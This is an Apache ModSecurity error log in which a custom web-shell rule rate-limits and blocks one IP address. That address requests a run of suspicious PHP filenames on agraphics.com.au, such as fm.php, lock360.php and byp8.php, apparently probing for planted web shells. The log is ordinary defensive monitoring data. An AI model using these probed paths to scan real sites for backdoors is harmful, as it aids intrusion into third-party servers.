[Sat Nov 22 01:31:52.142471 2025] [:error] [pid 9180:tid 9203] [client 48.210.84.77:9122] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ghreshttryu.php"] [unique_id "aSCiCLrk9msixUFV2i-YLgAAAFU"]
[Sat Nov 22 01:31:52.450353 2025] [:error] [pid 50057:tid 50063] [client 48.210.84.77:9133] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ghreshttryu.php"] [unique_id "aSCiCFb9j9fTBoI0sRVMxQAAAQQ"]
[Sat Nov 22 01:31:53.015531 2025] [:error] [pid 49643:tid 49940] [client 48.210.84.77:9059] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ghreshttryu.php"] [unique_id "aSCiCZwUojIRHhF_fj-QowAAANQ"]
[Sat Nov 22 01:31:54.383071 2025] [:error] [pid 9180:tid 9196] [client 48.210.84.77:9096] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aporrhiegma.php"] [unique_id "aSCiCrrk9msixUFV2i-YOQAAAE4"]
[Sat Nov 22 01:31:55.025635 2025] [:error] [pid 49641:tid 49841] [client 48.210.84.77:9119] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aporrhiegma.php"] [unique_id "aSCiC1nhuiDak938N_a7BwAAABI"]
[Sat Nov 22 01:31:55.394678 2025] [:error] [pid 49641:tid 49837] [client 48.210.84.77:9150] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aporrhiegma.php"] [unique_id "aSCiC1nhuiDak938N_a7CgAAAA4"]
[Sat Nov 22 01:31:55.739181 2025] [:error] [pid 50057:tid 50069] [client 48.210.84.77:9115] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aporrhiegma.php"] [unique_id "aSCiC1b9j9fTBoI0sRVMxwAAAQo"]
[Sat Nov 22 01:31:56.019644 2025] [:error] [pid 50057:tid 50068] [client 48.210.84.77:9101] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "aSCiDFb9j9fTBoI0sRVMyQAAAQk"]
[Sat Nov 22 01:31:56.313483 2025] [:error] [pid 49641:tid 49827] [client 48.210.84.77:9032] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "aSCiDFnhuiDak938N_a7EAAAAAQ"]
[Sat Nov 22 01:31:56.656403 2025] [:error] [pid 9180:tid 9191] [client 48.210.84.77:9134] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "aSCiDLrk9msixUFV2i-YQQAAAEk"]
[Sat Nov 22 01:31:57.109638 2025] [:error] [pid 49641:tid 49839] [client 48.210.84.77:9089] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "aSCiDVnhuiDak938N_a7FwAAABA"]
[Sat Nov 22 01:31:57.475264 2025] [:error] [pid 49643:tid 49934] [client 48.210.84.77:9108] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/clss.php"] [unique_id "aSCiDZwUojIRHhF_fj-QpgAAAM4"]
[Sat Nov 22 01:31:57.922430 2025] [:error] [pid 49641:tid 49840] [client 48.210.84.77:9161] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/clss.php"] [unique_id "aSCiDVnhuiDak938N_a7GAAAABE"]
[Sat Nov 22 01:31:58.333908 2025] [:error] [pid 50057:tid 50066] [client 48.210.84.77:9000] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/clss.php"] [unique_id "aSCiDlb9j9fTBoI0sRVMygAAAQc"]
[Sat Nov 22 01:31:58.719323 2025] [:error] [pid 49641:tid 49847] [client 48.210.84.77:9037] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/clss.php"] [unique_id "aSCiDlnhuiDak938N_a7GgAAABg"]
[Sat Nov 22 01:31:59.045979 2025] [:error] [pid 9180:tid 9200] [client 48.210.84.77:9193] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qaez.php56"] [unique_id "aSCiD7rk9msixUFV2i-YSAAAAFI"]
[Sat Nov 22 01:31:59.349488 2025] [:error] [pid 9180:tid 9189] [client 48.210.84.77:8961] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qaez.php56"] [unique_id "aSCiD7rk9msixUFV2i-YSQAAAEc"]
[Sat Nov 22 01:31:59.850812 2025] [:error] [pid 50057:tid 50078] [client 48.210.84.77:9187] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qaez.php56"] [unique_id "aSCiD1b9j9fTBoI0sRVMzAAAARM"]
[Sat Nov 22 01:32:00.632410 2025] [:error] [pid 49641:tid 49824] [client 48.210.84.77:9128] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qaez.php56"] [unique_id "aSCiEFnhuiDak938N_a7HwAAAAE"]
[Sat Nov 22 01:32:01.060485 2025] [:error] [pid 49641:tid 49843] [client 48.210.84.77:9200] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lanbai.php"] [unique_id "aSCiEVnhuiDak938N_a7IAAAABQ"]
[Sat Nov 22 01:32:01.640357 2025] [:error] [pid 49642:tid 49913] [client 48.210.84.77:9080] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lanbai.php"] [unique_id "aSCiEYOXTPSuQfgUUtWSswAAAJY"]
[Sat Nov 22 01:32:02.029097 2025] [:error] [pid 49642:tid 49903] [client 48.210.84.77:9036] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lanbai.php"] [unique_id "aSCiEoOXTPSuQfgUUtWStAAAAIw"]
[Sat Nov 22 01:32:02.533229 2025] [:error] [pid 9180:tid 9201] [client 48.210.84.77:9100] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lanbai.php"] [unique_id "aSCiErrk9msixUFV2i-YUgAAAFM"]
[Sat Nov 22 01:32:02.898213 2025] [:error] [pid 9180:tid 9194] [client 48.210.84.77:9204] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cord.php"] [unique_id "aSCiErrk9msixUFV2i-YUwAAAEw"]
[Sat Nov 22 01:32:03.165929 2025] [:error] [pid 9180:tid 9186] [client 48.210.84.77:9033] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cord.php"] [unique_id "aSCiE7rk9msixUFV2i-YVAAAAEQ"]
[Sat Nov 22 01:32:03.582839 2025] [:error] [pid 9180:tid 9198] [client 48.210.84.77:9137] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cord.php"] [unique_id "aSCiE7rk9msixUFV2i-YVQAAAFA"]
[Sat Nov 22 01:32:03.914778 2025] [:error] [pid 9180:tid 9204] [client 48.210.84.77:8982] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cord.php"] [unique_id "aSCiE7rk9msixUFV2i-YVgAAAFY"]
[Sat Nov 22 01:32:04.212098 2025] [:error] [pid 49642:tid 49912] [client 48.210.84.77:9028] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xl6.php"] [unique_id "aSCiFIOXTPSuQfgUUtWStQAAAJU"]
[Sat Nov 22 01:32:04.574038 2025] [:error] [pid 49642:tid 49906] [client 48.210.84.77:9131] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xl6.php"] [unique_id "aSCiFIOXTPSuQfgUUtWStgAAAI8"]
[Sat Nov 22 01:32:04.932398 2025] [:error] [pid 49642:tid 49892] [client 48.210.84.77:9053] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xl6.php"] [unique_id "aSCiFIOXTPSuQfgUUtWSuAAAAIE"]
[Sat Nov 22 01:32:05.392487 2025] [:error] [pid 50057:tid 50082] [client 48.210.84.77:9039] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xl6.php"] [unique_id "aSCiFVb9j9fTBoI0sRVM0AAAARc"]
[Sat Nov 22 01:32:05.684997 2025] [:error] [pid 49642:tid 49897] [client 48.210.84.77:9083] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aSCiFYOXTPSuQfgUUtWSugAAAIY"]
[Sat Nov 22 01:32:06.105908 2025] [:error] [pid 9180:tid 9184] [client 48.210.84.77:9185] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aSCiFrrk9msixUFV2i-YXAAAAEI"]
[Sat Nov 22 01:32:06.693624 2025] [:error] [pid 49642:tid 49904] [client 48.210.84.77:9147] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aSCiFoOXTPSuQfgUUtWSuwAAAI0"]
[Sat Nov 22 01:32:06.996205 2025] [:error] [pid 9180:tid 9195] [client 48.210.84.77:9002] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aSCiFrrk9msixUFV2i-YXgAAAE0"]
[Sat Nov 22 01:32:07.254505 2025] [:error] [pid 9180:tid 9183] [client 48.210.84.77:9070] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "aSCiF7rk9msixUFV2i-YYAAAAEE"]
[Sat Nov 22 01:32:07.525322 2025] [:error] [pid 50057:tid 50080] [client 48.210.84.77:8994] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "aSCiF1b9j9fTBoI0sRVM0gAAARU"]
[Sat Nov 22 01:32:07.893265 2025] [:error] [pid 49643:tid 49936] [client 48.210.84.77:9132] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "aSCiF5wUojIRHhF_fj-QrgAAANA"]
[Sat Nov 22 01:32:08.414640 2025] [:error] [pid 49642:tid 49896] [client 48.210.84.77:9142] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "aSCiGIOXTPSuQfgUUtWSvgAAAIU"]
[Sat Nov 22 01:32:08.818138 2025] [:error] [pid 9180:tid 9190] [client 48.210.84.77:9079] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aSCiGLrk9msixUFV2i-YYgAAAEg"]
[Sat Nov 22 01:32:09.158309 2025] [:error] [pid 9180:tid 9185] [client 48.210.84.77:9118] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aSCiGbrk9msixUFV2i-YZgAAAEM"]
[Sat Nov 22 01:32:09.570000 2025] [:error] [pid 49641:tid 49831] [client 48.210.84.77:9159] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aSCiGVnhuiDak938N_a7IQAAAAg"]
[Sat Nov 22 01:32:09.832444 2025] [:error] [pid 9180:tid 9192] [client 48.210.84.77:9070] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aSCiGbrk9msixUFV2i-YagAAAEo"]
[Sat Nov 22 01:32:10.175285 2025] [:error] [pid 9180:tid 9189] [client 48.210.84.77:9084] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d12.php"] [unique_id "aSCiGrrk9msixUFV2i-YawAAAEc"]
[Sat Nov 22 01:32:10.470295 2025] [:error] [pid 9180:tid 9188] [client 48.210.84.77:9071] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d12.php"] [unique_id "aSCiGrrk9msixUFV2i-YbgAAAEY"]
[Sat Nov 22 01:32:10.845403 2025] [:error] [pid 49643:tid 49932] [client 48.210.84.77:9114] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d12.php"] [unique_id "aSCiGpwUojIRHhF_fj-QsQAAAMw"]
[Sat Nov 22 01:32:11.097310 2025] [:error] [pid 9180:tid 9200] [client 48.210.84.77:9081] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d12.php"] [unique_id "aSCiG7rk9msixUFV2i-YcQAAAFI"]
[Sat Nov 22 01:32:11.392360 2025] [:error] [pid 9180:tid 9201] [client 48.210.84.77:9077] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/boyfile.php"] [unique_id "aSCiG7rk9msixUFV2i-YcgAAAFM"]
[Sat Nov 22 01:32:11.753885 2025] [:error] [pid 9180:tid 9186] [client 48.210.84.77:8966] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/boyfile.php"] [unique_id "aSCiG7rk9msixUFV2i-YdAAAAEQ"]
[Sat Nov 22 01:32:12.011246 2025] [:error] [pid 9180:tid 9205] [client 48.210.84.77:8969] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/boyfile.php"] [unique_id "aSCiHLrk9msixUFV2i-YdQAAAFc"]
[Sat Nov 22 01:32:12.301079 2025] [:error] [pid 49641:tid 49823] [client 48.210.84.77:9050] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/boyfile.php"] [unique_id "aSCiHFnhuiDak938N_a7IgAAAAA"]
[Sat Nov 22 01:32:12.669318 2025] [:error] [pid 9180:tid 9192] [client 48.210.84.77:9167] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atex1.php"] [unique_id "aSCiHLrk9msixUFV2i-YeAAAAEo"]
[Sat Nov 22 01:32:12.921591 2025] [:error] [pid 49642:tid 49907] [client 48.210.84.77:9072] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atex1.php"] [unique_id "aSCiHIOXTPSuQfgUUtWSwQAAAJA"]
[Sat Nov 22 01:32:13.222811 2025] [:error] [pid 49642:tid 49913] [client 48.210.84.77:9127] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atex1.php"] [unique_id "aSCiHYOXTPSuQfgUUtWSwwAAAJY"]
[Sat Nov 22 01:32:13.472084 2025] [:error] [pid 49642:tid 49903] [client 48.210.84.77:8962] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atex1.php"] [unique_id "aSCiHYOXTPSuQfgUUtWSxQAAAIw"]
[Sat Nov 22 01:32:13.739464 2025] [:error] [pid 49642:tid 49910] [client 48.210.84.77:9124] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/attaining.php"] [unique_id "aSCiHYOXTPSuQfgUUtWSxgAAAJM"]
